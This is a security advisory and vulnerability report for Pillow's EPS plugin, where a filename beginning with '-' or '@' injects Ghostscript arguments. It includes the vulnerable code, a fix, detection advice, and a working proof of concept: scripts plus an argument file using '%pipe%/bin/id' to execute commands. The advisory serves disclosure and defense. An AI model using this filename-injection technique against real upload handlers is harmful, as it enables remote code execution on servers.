CVE-2026-112900: Pillow: Argument Injection in Ghostscript call, potentially leading into RCE

PIL.EpsImagePlugin.Ghostscript() sets infile = fp.name when the opened file has a name on disk and puts it after -f in the Ghostscript command line. Nothing checks for a leading -, -- or @. A name such as -h becomes a Ghostscript option. A name such as @arg makes Ghostscript read more arguments from the file arg, so several can be injected at once. The default -dSAFER flag does not stop this.

The trigger is the file name, not the PostScript content. The reporter's proof of concept uses a harmless EPS file. With an attacker-written argument file that sets %pipe%/bin/id as the output file, they ran id, confirmed on Pillow 12.3.0 with Ghostscript 10.02.1 and 10.07.1.

The attacker must control the name of a file that reaches Image.open() and load(), and for command execution must also control the content of a second text file. That fits upload handlers that keep or derive the stored name from user input. Pillow's guidance to block untrusted EPS does not cover this, because the EPS can be benign.

Pillow >= 2.6.0, < 13.0.0, on systems where Ghostscript is installed and an application opens EPS images by file path. Code that opens images from in-memory streams without a name attribute takes the tempfile.mkstemp() branch, which is safe. The advisory tested 12.3.0.

pip show pillow

Also check whether gs is on the PATH of the process that runs Pillow.

Upgrade to Pillow 13.0.0:

pip install -U "Pillow>=13.0.0"

The reporter's suggested fix is infile = os.path.abspath(fp.name), so the path always starts with a separator and a leading - or @ never reaches Ghostscript's parser. The advisory lists no other workaround. If you cannot upgrade, generate your own safe storage name (never the user-supplied one) for uploads, or remove Ghostscript or EPS support where you do not need it.

Look in upload and storage directories for files whose names begin with - or @, or alongside an argument file. Review process logs for gs child processes launched by your Python service with unusual arguments, such as -sOutputFile=%pipe% or an @ token after -f. Watch for unexpected shell children of the Ghostscript process. Beam does not help with this one, because no AI agent is involved.

Summary

PIL.EpsImagePlugin.Ghostscript() builds the Ghostscript command line using the input file path (fp.name) without sanitization, placing it at -f <infile>. A filename beginning with - is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with -dSAFER enabled).

Details

_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._

Type

CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)

Vulnerable Codes

infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
    infile = fp.name                      # user-controlled path used as-is, without validation
else:
    in_fd, infile_temp = tempfile.mkstemp()
    os.close(in_fd)
    infile = infile_temp
    # ... (copy fp into a temporary file)

# Build Ghostscript command
command = [
    gs_binary,
    "-q",
    f"-g{width:d}x{height:d}",
    f"-r{res_x:f}x{res_y:f}",
    "-dBATCH",
    "-dNOPAUSE",
    "-dSAFER",                            # default sandbox — does NOT stop this injection
    f"-sDEVICE={device}",
    f"-sOutputFile={outfile}",
    "-c",
    f"{-bbox[0]} {-bbox[1]} translate",
    "-f",
    infile,                               # injected here: inserted into argv with no check for
                                          # option prefixes (-, --) or Ghostscript's @-file token
                                          # => argument injection (CWE-88)
    "-c",
    "showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo)   # spawns Ghostscript

Root cause.

When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.

Affected

• Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).
• Component: src/PIL/EpsImagePlugin.py, Ghostscript() — infile = fp.name, and the command list entry "-f", infile.

Suggested fix

Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (-/--) or as an argument-file token (@):

    if hasattr(fp, "name") and os.path.exists(fp.name):
        infile = os.path.abspath(fp.name)   # was: infile = fp.name

os.path.abspath() guarantees the path starts with a path separator (or a drive letter on Windows), so a leading - or @ can no longer reach Ghostscript's argument parser. The else branch already builds a safe tempfile.mkstemp() path and needs no change.

PoC

dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.

FROM ubuntu:24.04

RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .

CMD ["python3", "poc.py"]

poc.py

import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

name = "-h"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
    im.load()
except Exception as e:
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't display `help`")

poc-rce.py

import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

# To chain this vulnerability into critical RCE, We need another arbitrary text file
# In this script, it is `arg`.
name = "@arg"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
print(f"[*] and this leads to arbitrary command injection.")
print(f"*********************************************")
try:
    im.load()
except Exception as e:
    print(f"*********************************************")
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("")
print("CWE-78: OS Command Injection;")
print("CWE-88: Argument Injection  ; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't call `id`")

arg

-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice

Impact

Confirmed — Ghostscript argument injection. Because the filename is not validated, a leading -/-- is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to Image.open() can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.

Potential RCE (verified). The filename is also not validated against Ghostscript's @-file syntax: a filename of the form @<path> causes Ghostscript to read additional command-line arguments from <path>, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution — an escalation we verified in our PoC (execution of id).

Applies under Pillow's default configuration (with -dSAFER enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)

Why this is a Pillow bug (not the documented "block untrusted EPS" risk)

This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected — the guidance to block untrusted EPS input does not cover this. Because Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition — attacker influence over a filename that reaches Image.open() — is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API.

Author

Chanu Kang (from CysecLab at KAIST) @HLe4s